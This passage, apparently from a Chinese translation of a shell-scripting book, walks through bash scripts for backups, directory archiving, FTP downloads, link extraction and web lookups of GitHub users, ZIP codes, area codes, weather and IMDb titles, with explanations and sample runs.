      btype="incremental"           # Default to an incremental backup.
      noinc=0                       # And here's an update of the timestamp.

   trap "/bin/rm -f $inclist" EXIT

   usageQuit()
   {
     cat << "EOF" >&2
   Usage: $0 [-o output] [-i|-f] [-n]
     -o lets you specify an alternative backup file/device,
     -i is an incremental, -f is a full backup, and -n prevents
     updating the timestamp when an incremental backup is done.
   EOF
     exit 1
   }

   ########## Main code section begins here ###########

   while getopts "o:ifn" arg; do
     case "$opt" in
       o ) output="$OPTARG";       ;;   # getopts automatically manages OPTARG.
       i ) btype="incremental";    ;;
       f ) btype="full";           ;;
       n ) noinc=1;                ;;
       ? ) usageQuit               ;;
     esac
   done

   shift $(( $OPTIND - 1 ))

   echo "Doing $btype backup, saving output to $output"

   timestamp="$(date +'%m%d%I%M')"  # Grab month, day, hour, minute from date.
                                    # Curious about date formats? "man strftime"

   if [ "$btype" = "incremental" ] ; then
     if [ ! -f $tsfile ] ; then
       echo "Error: can't do an incremental backup: no timestamp file" >&2
       exit 1
     fi
     find $HOME -depth -type f -newer $tsfile -user ${USER:-LOGNAME} | \
➊   pax -w -x tar | $compress > $output
     failure="$?"
   else
     find $HOME -depth -type f -user ${USER:-LOGNAME} | \
➋   pax -w -x tar | $compress > $output
     failure="$?"
   fi

   if [ "$noinc" = "0" -a "$failure" = "0" ] ; then
     touch -t $timestamp $tsfile
   fi
   exit 0

清单 6-16: *backup* 脚本

工作原理

对于完整的系统备份,➊ 和 ➋ 中的 pax 命令完成所有工作,将其输出通过管道传递给压缩程序(默认是 bzip2),然后输出到文件或设备。增量备份则稍微复杂一些,因为标准版本的 tar 不包括任何修改时间测试,这与 GNU 版本的 tar 不同。自上次备份以来修改过的文件列表是通过 find 构建的,并保存在 inclist 临时文件中。该文件模仿 tar 的输出格式,以提高便携性,然后直接传递给 pax

选择何时标记备份的时间戳是许多备份程序容易出错的地方,通常将“最后备份时间”标记为程序完成备份时,而不是开始备份时。如果将时间戳设置为备份完成时的时间,当备份过程中有文件被修改时可能会出现问题,这种情况随着单个备份完成时间的延长而变得更有可能。因为在这种情况下修改过的文件,其最后修改时间会比时间戳日期更早,所以下次进行增量备份时,它们将不会被备份,这将是一个问题。

但请注意,因为将时间戳设置为备份发生之前也是错误的:如果备份因某种原因失败,无法撤销更新时间戳。

通过在备份开始之前(在 timestamp 变量中)保存日期和时间,并等待在备份成功后再通过 -t 标志将 $timestamp 应用到 $tsfile(使用 touch)来解决这两个问题。微妙吧?

运行脚本

该脚本有多个选项,所有选项都可以忽略,从而执行基于自上次脚本运行以来修改过的文件的默认增量备份(即,自上次增量备份的时间戳以来)。启动参数允许你指定不同的输出文件或设备(-o output),选择完整备份(-f),即使默认是增量备份,也可以主动选择增量备份(-i),或在进行增量备份时防止更新时间戳文件(-n)。

结果

backup 脚本无需任何参数,运行起来很简单,具体细节参见清单 6-17。

$ backup
Doing incremental backup, saving output to /tmp/backup.140703.bz2

清单 6-17:运行 *backup* 脚本无需任何参数,并将结果输出到屏幕上。

正如你所预期的那样,备份程序的输出并不十分引人注目。但生成的压缩文件足够大,足以显示里面有大量数据,正如你在清单 6-18 中所看到的。

$ ls -l /tmp/backup*
-rw-r--r--  1 taylor  wheel  621739008 Jul 14 07:31 backup.140703.bz2

清单 6-18:使用 *ls* 命令显示已备份文件

#52 备份目录

与备份整个文件系统的任务相关的是一个以用户为中心的任务,即为特定目录或目录树拍摄快照。清单 6-19 中的简单脚本允许用户创建一个指定目录的压缩 tar 归档,以便备份或共享。

代码

   #!/bin/bash

   # archivedir--Creates a compressed archive of the specified directory

   maxarchivedir=10           # Size, in blocks, of big directory.
   compress=gzip              # Change to your favorite compress app.
   progname=$(basename $0)    # Nicer output format for error messages.

   if [ $# -eq 0 ] ; then     # No args? That's a problem.
     echo "Usage: $progname directory" >&2
     exit 1
   fi

   if [ ! -d $1 ] ; then
     echo "${progname}: can't find directory $1 to archive." >&2
     exit 1
   fi

   if [ "$(basename $1)" != "$1" -o "$1" = "." ] ; then
     echo "${progname}: You must specify a subdirectory" >&2
     exit 1
   fi

➊ if [ ! -w . ] ; then
     echo "${progname}: cannot write archive file to current directory." >&2
     exit 1
   fi

   # Is the resultant archive going to be dangerously big? Let's check...

   dirsize="$(du -s $1 | awk '{print $1}')"

   if [ $dirsize -gt $maxarchivedir ] ; then
     /bin/echo -n "Warning: directory $1 is $dirsize blocks. Proceed? [n] "
     read answer
     answer="$(echo $answer | tr '[:upper:]' '[:lower:]' | cut -c1)"
     if [ "$answer" != "y" ] ; then
       echo "${progname}: archive of directory $1 canceled." >&2
       exit 0
     fi
   fi

   archivename="$1.tgz"

   if ➋tar cf - $1 | $compress > $archivename ; then
     echo "Directory $1 archived as $archivename"
   else
     echo "Warning: tar encountered errors archiving $1"
   fi

   exit 0

清单 6-19: *archivedir* 脚本

工作原理

该脚本几乎完全由错误检查代码组成,以确保它永远不会造成数据丢失或生成不正确的快照。除了使用典型的测试来验证起始参数的存在性和适当性外,该脚本还强制用户位于要压缩和归档的子目录的父目录中,确保归档文件在完成时保存到正确的位置。测试 if [ ! -w . ] ➊ 用于验证用户是否对当前目录具有写权限。即使在归档前,该脚本也会在备份文件异常大的情况下发出警告。

最终,实际执行归档指定目录的命令是 tar ➋。此命令的返回码会被测试,以确保在发生任何错误时脚本不会删除该目录。

运行脚本

该脚本应当以要归档的目录名作为唯一参数来调用。为了确保脚本不会尝试归档自身,它要求指定当前目录的一个子目录作为参数,而不是.,正如清单 6-20 所示。

结果

$ archivedir scripts
Warning: directory scripts is 2224 blocks. Proceed? [n] n
archivedir: archive of directory scripts canceled.

清单 6-20:在 *archivedir* 脚本中运行 scripts 目录,但取消操作

看起来这可能是一个较大的归档,我们犹豫是否创建它,但在深思熟虑之后,我们决定没有理由不继续执行。

$ archivedir scripts
Warning: directory scripts is 2224 blocks. Proceed? [n] y
Directory scripts archived as scripts.tgz

以下是结果:

$ ls -l scripts.tgz
-rw-r--r--  1 taylor  staff  325648 Jul 14 08:01 scripts.tgz

注意

这是一个开发者的小贴士:在积极进行项目开发时,将 *archivedir* 脚本用于 *cron* 任务,每晚自动为你的工作代码拍摄快照以备份。

第八章:网页和互联网用户

image

Unix 真正闪光的一个领域就是互联网。无论你是想在桌子底下运行一个快速的服务器,还是仅仅想高效智能地浏览网页,当涉及到互联网交互时,几乎没有什么是你不能嵌入 shell 脚本中的。

互联网工具是可以脚本化的,即使你可能从未想过它们是这样的。例如,FTP,这个始终处于调试模式的程序,可以用一些非常有趣的方式来编写脚本,这在 脚本 #53 中有探讨,位于 第 174 页。Shell 脚本通常可以提高大多数命令行工具在与互联网相关的方面的性能和输出。

本书的第一版曾向读者保证,互联网脚本编写者工具箱中最好的工具是 lynx;现在我们推荐使用 curl。这两个工具都提供纯文本界面来访问网页,但 lynx 尝试提供类似浏览器的体验,而 curl 则专门为脚本设计,能够提取任何页面的原始 HTML 源代码,供你查看。

例如,以下显示了通过 curl 获取的 Dave on Film 首页源代码的前七行:

$ curl -s http://www.daveonfilm.com/ | head -7
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta charset="UTF-8" />
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="pingback" href="http://www.daveonfilm.com/xmlrpc.php" />
<title>Dave On Film: Smart Movie Reviews from Dave Taylor</title>

如果 curl 不可用,你可以通过 lynx 实现相同的结果,但如果你有两个工具,我们推荐使用 curl。这就是本章中我们将使用的工具。

警告

本章中的网站抓取脚本的一个限制是,如果脚本依赖的某个网站在本书写作之后更改了其布局或 API,脚本可能会失效。但是,如果你能读取 HTML 或 JSON(即使你不完全理解它),你应该能够修复这些脚本。追踪其他网站的问题正是可扩展标记语言(XML)被创造出来的原因:它允许网站开发者将网页内容与其布局规则分开提供。

#53 通过 FTP 下载文件

互联网的原始杀手级应用之一是文件传输,而最简单的解决方案之一就是 FTP,即文件传输协议。从根本上说,所有的互联网交互都是基于文件传输的,无论是网页浏览器请求 HTML 文档及其附带的图像文件,聊天服务器来回传递讨论内容,还是电子邮件从地球的一端传递到另一端。

原始的 FTP 程序仍然存在,虽然它的界面简陋,但该程序功能强大、能力强,并且非常值得利用。现在有许多更新的 FTP 程序,特别是 FileZilla (filezilla-project.org/)和 NcFTP (www.ncftp.org/),以及很多你可以为 FTP 添加的漂亮图形界面,以使其更加用户友好。然而,借助一些 shell 脚本包装器,FTP 在上传和下载文件方面仍然表现得相当不错。

例如,FTP 的典型用例是从互联网上下载文件,这一点我们将在清单 7-1 中的脚本中实现。文件通常位于匿名 FTP 服务器上,且其 URL 类似于ftp:////

代码

   #!/bin/bash

   # ftpget--Given an ftp-style URL, unwraps it and tries to obtain the
   #   file using anonymous ftp

   anonpass="$LOGNAME@$(hostname)"

   if [ $# -ne 1 ] ; then
     echo "Usage: $0 ftp://..." >&2
     exit 1
   fi

   # Typical URL: ftp://ftp.ncftp.com/unixstuff/q2getty.tar.gz

   if [ "$(echo $1 | cut -c1-6)" != "ftp://" ] ; then
     echo "$0: Malformed url. I need it to start with ftp://" >&2
     exit 1
   fi

   server="$(echo $1 | cut -d/ -f3)"
   filename="$(echo $1 | cut -d/ -f4-)"
   basefile="$(basename $filename)"

   echo ${0}: Downloading $basefile from server $server

➊ ftp -np << EOF
   open $server
   user ftp $anonpass
   get "$filename" "$basefile"
   quit
   EOF

   if [ $? -eq 0 ] ; then
     ls -l $basefile
   fi

   exit 0

清单 7-1: *ftpget* 脚本

工作原理

这个脚本的核心是从➊开始输入到 FTP 程序的一系列命令。这展示了批处理文件的本质:一系列指令被传递给一个独立的程序,让接收程序(在这个例子中是 FTP)认为这些指令是用户输入的。在这里,我们指定了要打开的服务器连接,指定了匿名用户(FTP)以及脚本配置中指定的默认密码(通常是你的电子邮件地址),然后从 FTP 站点获取指定的文件并退出传输。

运行脚本

这个脚本使用起来非常简单:只需要完全指定一个 FTP URL,它就会将文件下载到当前工作目录,正如清单 7-2 中所详细描述的那样。

结果

$ ftpget ftp://ftp.ncftp.com/unixstuff/q2getty.tar.gz
ftpget: Downloading q2getty.tar.gz from server ftp.ncftp.com
-rw-r--r--  1 taylor  staff  4817 Aug 14  1998 q2getty.tar.gz

清单 7-2:运行 *ftpget* 脚本

一些版本的 FTP 比其他版本更冗长,由于客户端和服务器协议有时会稍微不匹配,这些冗长版本的 FTP 可能会输出看起来很可怕的错误信息,如Unimplemented command。你可以安全地忽略这些错误。例如,清单 7-3 展示了相同的脚本在 OS X 上的运行结果。

$ ftpget ftp://ftp.ncftp.com/ncftp/ncftp-3.1.5-src.tar.bz2
../Scripts.new/053-ftpget.sh: Downloading q2getty.tar.gz from server ftp.
ncftp.com
Connected to ncftp.com.
220 ncftpd.com NcFTPd Server (licensed copy) ready.
331 Guest login ok, send your complete e-mail address as password.
230-You are user #2 of 16 simultaneous users allowed.
230-
230 Logged in anonymously.
Remote system type is UNIX.
Using binary mode to transfer files.
local: q2getty.tar.gz remote: unixstuff/q2getty.tar.gz
227 Entering Passive Mode (209,197,102,38,194,11)
150 Data connection accepted from 97.124.161.251:57849; transfer starting for
q2getty.tar.gz (4817 bytes).
100% |*******************************************************|  4817
67.41 KiB/s    00:00 ETA
226 Transfer completed.
4817 bytes received in 00:00 (63.28 KiB/s)
221 Goodbye.
-rw-r--r--  1 taylor  staff  4817 Aug 14  1998 q2getty.tar.gz

清单 7-3:在 OS X 上运行 *ftpget* 脚本

如果你的 FTP 过于冗长,并且你使用的是 OS X 系统,可以通过在脚本中为 FTP 调用添加-V标志来将其静音(也就是说,使用 FTP -nV,而不是 FTP -n)。

修改脚本

如果下载的文件具有某些文件扩展名,这个脚本可以扩展为自动解压下载的文件(参见脚本 #33,以及第 109 页中的示例,了解如何执行此操作)。许多压缩文件,如.tar.gz.tar.bz2,默认可以使用系统的tar命令进行解压。

你还可以调整这个脚本,使其成为一个简单的工具,用于上传指定的文件到 FTP 服务器。如果服务器支持匿名连接(虽然如今很少有服务器支持,因为有脚本小子和其他不法分子,另当别论),你只需要在命令行或脚本中指定目标目录,并将主脚本中的get命令改为put,如下所示:

ftp -np << EOF
open $server
user ftp $anonpass
cd $destdir
put "$filename"
quit
EOF

要处理密码保护的账户,你可以通过在read语句之前关闭回显,然后在完成后再打开回显,来让脚本提示输入密码:

/bin/echo -n "Password for ${user}: "
stty -echo
read password
stty echo
echo ""

然而,更智能的密码提示方式是直接让 FTP 程序自己处理。这将在我们的脚本中实现,因为如果访问指定的 FTP 账户需要密码,FTP 程序会自动提示输入密码。

#54 从网页提取 URL

lynx 的一种直接的 shell 脚本应用是提取指定网页上的 URL 列表,这在抓取互联网链接时非常有用。我们曾说过我们已经从 lynx 切换到 curl 用于本书的这一版本,但事实证明,对于这个脚本来说,lynx 使用起来要简单一百倍(参见 清单 7-4),因为 lynx 会自动解析 HTML,而 curl 需要你自己手动解析 HTML。

系统上没有 lynx 吗?如今大多数 Unix 系统都配有包管理器,如 Red Hat 上的 yum、Debian 上的 apt 以及 OS X 上的 brew(尽管 brew 默认没有安装),你可以使用它们来安装 lynx。如果你更喜欢自己编译 lynx,或者想下载预构建的二进制文件,可以从 lynx.browser.org/ 下载。

代码

   #!/bin/bash

   # getlinks--Given a URL, returns all of its relative and absolute links.
   #   Has three options: -d to generate the primary domains of every link,
   #   -i to list just those links that are internal to the site (that is,
   #   other pages on the same site), and -x to produce external links only
   #   (the opposite of -i).

   if [ $# -eq 0 ] ; then
     echo "Usage: $0 [-d|-i|-x] url" >&2
     echo "-d=domains only, -i=internal refs only, -x=external only" >&2
     exit 1
   fi

   if [ $# -gt 1 ] ; then
     case "$1" in
➊     -d) lastcmd="cut -d/ -f3|sort|uniq"
           shift
           ;;
       -r) basedomain="http://$(echo $2 | cut -d/ -f3)/"
➋         lastcmd="grep \"^$basedomain\"|sed \"s|$basedomain||g\"|sort|uniq"
           shift
           ;;
       -a) basedomain="http://$(echo $2 | cut -d/ -f3)/"
➌         lastcmd="grep -v \"^$basedomain\"|sort|uniq"
           shift
           ;;
        *) echo "$0: unknown option specified: $1" >&2
           exit 1
     esac
   else
➍   lastcmd="sort|uniq"
   fi

   lynx -dump "$1"|\
➎   sed -n '/^References$/,$p'|\
     grep -E '[[:digit:]]+\.'|\
     awk '{print $2}'|\
     cut -d\? -f1|\
➏   eval $lastcmd

   exit 0

清单 7-4:*getlinks* 脚本

它是如何工作的

在显示页面时,lynx 会将页面的文本按其最佳方式格式化,接着显示该页面上找到的所有超文本引用或链接的列表。这个脚本通过使用 sed 命令提取网页文本中 "References" 字符串后的所有内容 ➎,然后根据用户指定的标志处理链接列表。

这个脚本展示的一个有趣技巧是如何通过设置变量 lastcmd(➊, ➋, ➌, ➍)来根据用户指定的标志筛选提取的链接列表。一旦设置了 lastcmd,就使用非常方便的 eval 命令 ➏ 强制 shell 将该变量的内容当作命令执行,而不是作为变量。

运行脚本

默认情况下,脚本会输出指定网页上找到的所有链接列表,而不仅仅是以 http: 开头的链接。不过,有三个可选的命令行标志可以指定以更改结果:-d 只输出所有匹配 URL 的域名,-r 输出仅包含 相对 引用的列表(即那些与当前页面位于同一服务器上的引用),-a 输出仅包含 绝对 引用的列表(即指向不同服务器的 URL)。

结果

一个简单的请求是列出指定网站主页上的所有链接,正如 清单 7-5 所示。

$ getlinks http://www.daveonfilm.com/ | head -10
http://instagram.com/d1taylor
http://pinterest.com/d1taylor/
http://plus.google.com/110193533410016731852
https://plus.google.com/u/0/110193533410016731852
https://twitter.com/DaveTaylor
http://www.amazon.com/Doctor-Who-Shada-Adventures-Douglas/
http://www.daveonfilm.com/
http://www.daveonfilm.com/about-me/
http://www.daveonfilm.com/author/d1taylor/
http://www.daveonfilm.com/category/film-movie-reviews/

清单 7-5:运行 *getlinks* 脚本

另一个可能的请求是列出特定网站上所有引用的域名。这次,让我们先使用标准的 Unix 工具 wc 来检查找到的链接总数:

$ getlinks http://www.amazon.com/ | wc -l
219

亚马逊首页上有 219 个链接。很令人印象深刻!这代表了多少个不同的域名呢?让我们使用-d标志生成一个列表:

$ getlinks -d http://www.amazon.com/ | head -10
amazonlocal.com
aws.amazon.com
fresh.amazon.com
kdp.amazon.com
services.amazon.com
www.6pm.com
www.abebooks.com
www.acx.com
www.afterschool.com
www.alexa.com

亚马逊通常不指向外部站点,但确实有一些合作伙伴链接会出现在主页上。当然,其他网站则不同。

如果我们将亚马逊页面上的链接分为相对链接和绝对链接,会怎么样?

$ getlinks -a http://www.amazon.com/ | wc -l
51
$ getlinks -r http://www.amazon.com/ | wc -l
222

正如你所预期的那样,亚马逊站点内部指向自己站点的相对链接比指向其他网站的绝对链接多四倍,这样做是为了让顾客始终停留在自己的网站上!

破解脚本

你可以看到getlinks作为站点分析工具是多么有用。为了增强脚本的功能,请关注:脚本 #69 在第 217 页很好地补充了这个脚本,使我们能够快速检查站点上的所有超文本引用是否有效。

#55 获取 GitHub 用户信息

GitHub 已经成为开源行业和全球开放协作的巨大推动力。许多系统管理员和开发者访问 GitHub 来下载源代码或报告开源项目中的问题。由于 GitHub 本质上是一个面向开发者的社交平台,快速了解用户的基本信息非常有用。列表 7-6 中的脚本打印了关于某个 GitHub 用户的一些信息,并很好地介绍了功能强大的 GitHub API。

代码

   #!/bin/bash
   # githubuser--Given a GitHub username, pulls information about the user

   if [ $# -ne 1 ]; then
     echo "Usage: $0 <username>"
     exit 1
   fi

   # The -s silences curl's normally verbose output.
➊ curl -s "https://api.github.com/users/$1" | \
           awk -F'"' '
               /\"name\":/ {
                 print $4" is the name of the GitHub user."
               }
               /\"followers\":/{
                 split($3, a, " ")
                 sub(/,/, "", a[2])
                 print "They have "a[2]" followers."
               }
                 /\"following\":/{
                 split($3, a, " ")
                 sub(/,/, "", a[2])
                 print "They are following "a[2]" other users."
               }
               /\"created_at\":/{
                 print "Their account was created on "$4"."
               }
               '
   exit 0

列表 7-6: *githubuser* 脚本

它是如何工作的

诚然,这几乎更像是一个awk脚本而不是 bash 脚本,但有时候你确实需要awk提供的额外功能来进行解析(GitHub API 返回的是 JSON 格式)。我们使用curl向 GitHub 请求用户➊信息,该信息作为脚本的参数,并将 JSON 数据传递给awk。在awk中,我们指定双引号字符作为字段分隔符,这样会使得解析 JSON 变得更简单。然后,我们使用几个正则表达式匹配 JSON 数据,并以用户友好的方式打印结果。

运行脚本

该脚本接受一个参数:在 GitHub 上查找的用户。如果提供的用户名不存在,则不会打印任何内容。

结果

当传入有效的用户名时,脚本应打印出一个用户友好的 GitHub 用户摘要,如列表 7-7 所示。

$ githubuser brandonprry
Brandon Perry is the name of the GitHub user.
They have 67 followers.
They are following 0 other users.
Their account was created on 2010-11-16T02:06:41Z.

列表 7-7:运行 *githubuser* 脚本

破解脚本

由于可以从 GitHub API 获取大量信息,这个脚本有很大的潜力。在这个脚本中,我们只打印了从 JSON 返回的四个值。基于 API 提供的信息为给定用户生成一份“简历”,就像许多网络服务所提供的那样,正是其中的一种可能性。

#56 邮政编码查询

为了演示一种不同的网页抓取技术,这次我们使用curl,创建一个简单的邮政编码查询工具。给清单 7-8 中的脚本一个邮政编码,它会报告该邮政编码对应的城市和州。非常简单。

你最初的想法可能是使用美国邮政局的官方网站,但我们将使用另一个网站,city-data.com/,它将每个邮政编码配置为一个独立的网页,因此信息提取起来更为简单。

代码

#!/bin/bash

# zipcode--Given a ZIP code, identifies the city and state. Use city-data.com,
#   which has every ZIP code configured as its own web page.

baseURL="http://www.city-data.com/zips"

/bin/echo -n "ZIP code $1 is in "

curl -s -dump "$baseURL/$1.html" | \
  grep -i '<title>' | \
  cut -d\( -f2 | cut -d\) -f1

exit 0

清单 7-8: *zipcode* 脚本

工作原理

city-data.com/上,邮政编码信息页面的 URL 结构是一致的,邮政编码本身作为 URL 的最后一部分。

http://www.city-data.com/zips/80304.html

这种一致性使得为给定的邮政编码即时创建适当的 URL 变得非常容易。结果页面的标题中包含城市名称,并方便地用括号标明,格式如下。

<title>80304 Zip Code (Boulder, Colorado) Profile - homes, apartments,
schools, population, income, averages, housing, demographics, location,
statistics, residents and real estate info</title>

很长,但相当容易操作!

运行脚本

调用脚本的标准方法是在命令行中指定所需的邮政编码。如果它有效,将显示城市和州,如清单 7-9 所示。

结果

$ zipcode 10010
ZIP code 10010 is in New York, New York
$ zipcode 30001
ZIP code 30001 is in <title>Page not found – City-Data.com</title>
$ zipcode 50111
ZIP code 50111 is in Grimes, Iowa

清单 7-9:运行 *zipcode* 脚本

因为 30001 不是一个有效的邮政编码,脚本会生成一个Page not found错误。这有点草率,我们可以做得更好。

破解脚本

对这个脚本最明显的修改是,在遇到错误时做些处理,而不仅仅是输出那个丑陋的<title>Page not found – City-Data.com</title>序列。更有用的做法是添加一个-a标志,告诉脚本显示更多关于指定区域的信息,因为city-data.com/提供了除城市名称外的很多信息——包括土地面积、人口统计以及房价。

#57 区号查询

脚本 #56 中的邮政编码查询的变体是区号查询。这实际上非常简单,因为有一些非常易于解析的网页显示区号。位于www.bennetyee.org/ucsd-pages/area.html的页面尤其容易解析,不仅因为它是表格形式,还因为作者已经用 HTML 属性标识了元素。例如,定义区号 207 的那一行如下:

<tr><td align=center><a name="207">207</a></td><td align=center>ME</td><td
align=center>-5</td><td>   Maine</td></tr>

我们将使用这个网站查找在清单 7-10 中的脚本中的区号。

代码

#!/bin/bash

# areacode--Given a three-digit US telephone area code, identifies the city
#   and state using the simple tabular data at Bennet Yee's website.

source="http://www.bennetyee.org/ucsd-pages/area.html"

if [ -z "$1" ] ; then
  echo "usage: areacode <three-digit US telephone area code>"
  exit 1
fi

# wc -c returns characters + end of line char, so 3 digits = 4 chars
if [ "$(echo $1 | wc -c)" -ne 4 ] ; then
  echo "areacode: wrong length: only works with three-digit US area codes"
  exit 1
fi

# Are they all digits?
if [ ! -z "$(echo $1 | sed 's/[[:digit:]]//g')" ] ; then
  echo "areacode: not-digits: area codes can only be made up of digits"
  exit 1
fi

# Now, finally, let's look up the area code...

result="$(➊curl -s -dump $source | grep "name=\"$1" | \
  sed 's/<[^>]*>//g;s/^ //g' | \
  cut -f2- -d\ | cut -f1 -d\( )"

echo "Area code $1 =$result"

exit 0

清单 7-10: *areacode* 脚本

工作原理

这个 Shell 脚本中的代码主要是输入验证,确保用户提供的数据是一个有效的区号。脚本的核心是一个curl调用 ➊,其输出通过管道传递给sed进行清理,然后使用cut裁剪成我们希望显示给用户的内容。

运行脚本

这个脚本接受一个参数,即要查询信息的区号。清单 7-11 展示了该脚本的使用示例。

结果

$ areacode 817
Area code 817 =  N Cent. Texas: Fort Worth area
$ areacode 512
Area code 512 =  S Texas: Austin
$ areacode 903
Area code 903 =  NE Texas: Tyler

清单 7-11:测试 *areacode* 脚本

破解脚本

一个简单的破解方法是反转搜索,提供州和城市名称,脚本则会打印给定城市的所有区号。

#58 跟踪天气

长时间待在办公室或服务器房间里,面对终端工作,有时会让你渴望到外面走走,尤其是当天气特别好时。Weather Underground(* www.wunderground.com/ *)是一个很棒的网站,实际上它为开发者提供了免费的 API,只要你注册一个 API 密钥。通过这个 API 密钥,我们可以编写一个快速的 Shell 脚本(如清单 7-12 所示),来告诉我们外面的天气有多好(或多差)。然后我们可以决定是否真的应该去散个步。

代码

   #!/bin/bash
   # weather--Uses the Wunderground API to get the weather for a given ZIP code

   if [ $# -ne 1 ]; then
     echo "Usage: $0 <zipcode>"
     exit 1
   fi

   apikey="b03fdsaf3b2e7cd23"   # Not a real API key--you need your own.

➊ weather=`curl -s \
       "https://api.wunderground.com/api/$apikey/conditions/q/$1.xml"`
➋ state=`xmllint --xpath \
       //response/current_observation/display_location/full/text\(\) \
       <(echo $weather)`
   zip=`xmllint --xpath \
       //response/current_observation/display_location/zip/text\(\) \
       <(echo $weather)`
   current=`xmllint --xpath \
       //response/current_observation/temp_f/text\(\) \
       <(echo $weather)`
   condition=`xmllint --xpath \
       //response/current_observation/weather/text\(\) \
       <(echo $weather)`

   echo $state" ("$zip") : Current temp "$current"F and "$condition" outside."

   exit 0

清单 7-12: *weather* 脚本

它是如何工作的

在这个脚本中,我们使用curl调用 Wunderground API,并将 HTTP 响应数据保存在weather变量中➊。然后我们使用xmllint(可以通过你喜欢的包管理器,如aptyumbrew轻松安装)工具对返回的数据执行 XPath 查询➋。我们还在调用xmllint时使用了一个有趣的 bash 语法,命令后面带有<(echo $weather)。这种语法将内部命令的输出传递给命令作为文件描述符,这样程序就认为它正在读取一个真实的文件。在从返回的 XML 中收集到所有相关信息后,我们会打印一条友好的消息,显示天气的基本统计信息。

运行脚本

当你调用脚本时,只需指定所需的邮政编码,如清单 7-13 所示。非常简单!

结果

$ weather 78727
Austin, TX (78727) : Current temp 59.0F and Clear outside.
$ weather 80304
Boulder, CO (80304) : Current temp 59.2F and Clear outside.
$ weather 10010
New York, NY (10010) : Current temp 68.7F and Clear outside.

清单 7-13:测试 *weather* 脚本

破解脚本

我们有个小秘密。这个脚本实际上可以接受的不仅仅是邮政编码。你还可以在 Wunderground API 中指定区域,比如CA/San_Francisco(尝试作为天气脚本的参数!)。然而,这种格式并不是非常用户友好:它要求用下划线代替空格,并且中间有一个斜杠。如果能够添加一个功能,允许用户输入州的缩写和城市名,并在没有传入参数时将空格替换为下划线,那会是一个有用的改进。和往常一样,这个脚本还可以加上更多的错误检查代码。如果你输入了一个四位数的邮政编码会发生什么?或者一个未分配的邮政编码呢?

#59 从 IMDb 挖掘电影信息

清单 7-14 中的脚本演示了通过lynx访问互联网的一种更复杂方式,通过搜索互联网电影数据库(* www.imdb.com/ *)查找与指定模式匹配的电影。IMDb 为每部电影、电视系列以及甚至每一集电视剧分配了唯一的数字代码;如果用户指定了该代码,脚本将返回电影的简介。否则,它会根据标题或部分标题返回匹配的电影列表。

脚本根据查询类型(数字 ID 或文件标题)访问不同的 URL,并缓存结果,以便它可以多次浏览页面,提取不同的信息。而且它使用了很多——很多——sedgrep的调用,正如你将看到的那样。

代码

   #!/bin/bash
   # moviedata--Given a movie or TV title, returns a list of matches. If the user
   #   specifies an IMDb numeric index number, however, returns the synopsis of
   #   the film instead. Uses the Internet Movie Database.

   titleurl="http://www.imdb.com/title/tt"
   imdburl="http://www.imdb.com/find?s=tt&exact=true&ref_=fn_tt_ex&q="
   tempout="/tmp/moviedata.$$"

➊ summarize_film()
   {
     # Produce an attractive synopsis of the film.

     grep "<title>" $tempout | sed 's/<[^>]*>//g;s/(more)//'

     grep --color=never -A2 '<h5>Plot:' $tempout | tail -1 | \
       cut -d\< -f1 | fmt | sed 's/^/ /'

     exit 0
   }

   trap "rm -f $tempout" 0 1 15

   if [ $# -eq 0 ] ; then
     echo "Usage: $0 {movie title | movie ID}" >&2
     exit 1
   fi

   #########
   # Checks whether we're asking for a title by IMDb title number

   nodigits="$(echo $1 | sed 's/[[:digit:]]*//g')"

   if [ $# -eq 1 -a -z "$nodigits" ] ; then
     lynx -source "$titleurl$1/combined" > $tempout
     summarize_film
     exit 0
   fi

   ##########
   # It's not an IMDb title number, so let's go with the search...

   fixedname="$(echo $@ | tr ' ' '+')"       # for the URL

   url="$imdburl$fixedname"

➋ lynx -source $imdburl$fixedname > $tempout

   # No results?

➌ fail="$(grep --color=never '<h1 class="findHeader">No ' $tempout)"

   # If there's more than one matching title...

   if [ ! -z "$fail" ] ; then
     echo "Failed: no results found for $1"
     exit 1
   elif [ ! -z "$(grep '<h1 class="findHeader">Displaying' $tempout)" ] ; then
     grep --color=never '/title/tt' $tempout | \
     sed 's/</\
   </g' | \
     grep -vE '(.png|.jpg|>[ ]*$)' | \
     grep -A 1 "a href=" | \
     grep -v '^--$' | \
     sed 's/<a href="\/title\/tt//g;s/<\/a> //' | \
➍   awk '(NR % 2 == 1) { title=$0 } (NR % 2 == 0) { print title " " $0 }' | \
     sed 's/\/.*>/: /' | \
     sort
   fi

   exit 0

清单 7-14: *moviedata* 脚本

它是如何工作的

此脚本根据命令参数指定的是电影标题还是 IMDb ID 号码来构建不同的 URL。如果用户通过 ID 号码指定标题,脚本会构建适当的 URL,下载它,将lynx输出保存到$tempout文件 ➋ 中,并最终调用summarize_film() ➊。并不难。

但如果用户指定了标题,则脚本将为 IMDb 上的搜索查询构建一个 URL,并将结果页面保存到临时文件中。如果 IMDb 找不到匹配项,则返回的 HTML 中<h1>标签的class="findHeader"值将显示没有结果。这就是在 ➌ 中检查的内容。然后,测试很简单:如果$fail的长度不为零,脚本可以报告未找到任何结果。

然而,如果结果零长度,这意味着$tempfile现在包含一个或多个成功的搜索结果,这些结果符合用户的模式。可以通过在源代码中搜索/title/tt作为模式来提取这些结果,但有个警告:IMDb 并没有使解析结果变得容易,因为任何给定的标题链接都有多个匹配项。其余的sed|grep|sed序列试图识别并移除重复的匹配项,同时保留那些重要的匹配项。

此外,当 IMDb 匹配到类似"阿拉伯的劳伦斯 (1962)"的条目时,标题和年份实际上是两个不同的 HTML 元素,分别位于结果的两行中。呃。我们需要年份来区分同一标题但在不同年份上映的电影。这就是 ➍ 中的awk语句所做的事情,以一种巧妙的方式。

如果你不熟悉awkawk脚本的一般格式是(*condition*) { *action* }。这行代码将奇数行的数据保存在$title中,然后在偶数行(年份和匹配类型数据)中,它将前一行和当前行的数据作为一行输出。

运行脚本

尽管该脚本较短,但它在输入格式方面相当灵活,正如在列表 7-15 中所示。你可以用引号指定电影标题或作为单独的单词输入,然后你可以指定八位数的 IMDb ID 值来选择特定的匹配项。

结果

$ moviedata lawrence of arabia
0056172: Lawrence of Arabia (1962)
0245226: Lawrence of Arabia (1935)
0390742: Mighty Moments from World History (1985) (TV Series)
1471868: Mystery Files (2010) (TV Series)
1471868: Mystery Files (2010) (TV Series)
1478071: Lawrence of Arabia (1985) (TV Episode)
1942509: Lawrence of Arabia (TV Episode)
1952822: Lawrence of Arabia (2011) (TV Episode)
$ moviedata 0056172
Lawrence of Arabia (1962)
